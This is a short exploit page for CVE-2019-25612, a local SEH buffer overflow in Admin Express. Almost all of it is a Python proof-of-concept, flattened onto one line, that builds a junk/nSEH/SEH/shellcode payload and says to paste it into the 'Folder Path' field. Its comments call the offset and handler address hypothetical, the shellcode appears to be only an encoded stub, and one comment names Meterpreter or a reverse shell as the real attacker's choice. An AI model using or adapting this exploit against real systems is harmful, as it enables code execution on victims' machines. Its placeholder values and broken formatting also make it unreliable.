CVE-2019-25612 Admin Express本地SEH缓冲区溢出漏洞

import sys import struct # Proof of Concept (PoC) for CVE-2019-25612 # This script generates a malicious payload to trigger the SEH buffer overflow. # Note: Offsets and addresses need to be adjusted based on the specific environment and version. # Example structure: [Junk] + [nSEH] + [SEH] + [Shellcode] + [Padding] def generate_payload(): # 1. Offset to overwrite SEH structure (This value is hypothetical and needs debugging) offset = 600 # 2. nSEH: Next SEH record overwrite # \xeb\x06 is a short jump forward 6 bytes to skip the SE handler address # \x90\x90 are NOPs nseh = b"\xeb\x06\x90\x90" # 3. SEH: SE Handler overwrite # Address of 'pop pop ret' instruction from a non-ASLR module is required here. # This is a placeholder address (0x10020203) seh = struct.pack('<L', 0x10020203) # 4. Shellcode: Alphanumeric encoded payload # Example: MessageBoxA shellcode encoded for compatibility # Real attackers would use Meterpreter or a reverse shell here. shellcode = b"TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI" # 5. Padding to ensure we crash the process properly padding = b"C" * (1000 - offset - len(nseh) - len(seh) - len(shellcode)) payload = b"A" * offset + nseh + seh + shellcode + padding return payload if __name__ == "__main__": buf = generate_payload() print("[+] Payload generated successfully.") print(f"[+] Payload length: {len(buf)} bytes") print("[+] Instruction: Copy the output and paste it into the 'Folder Path' field in Admin Express 'System Compare' feature, then click the scale icon.") # Write to file for easy handling with open("cve_2019_25612_poc.txt", "wb") as f: f.write(buf)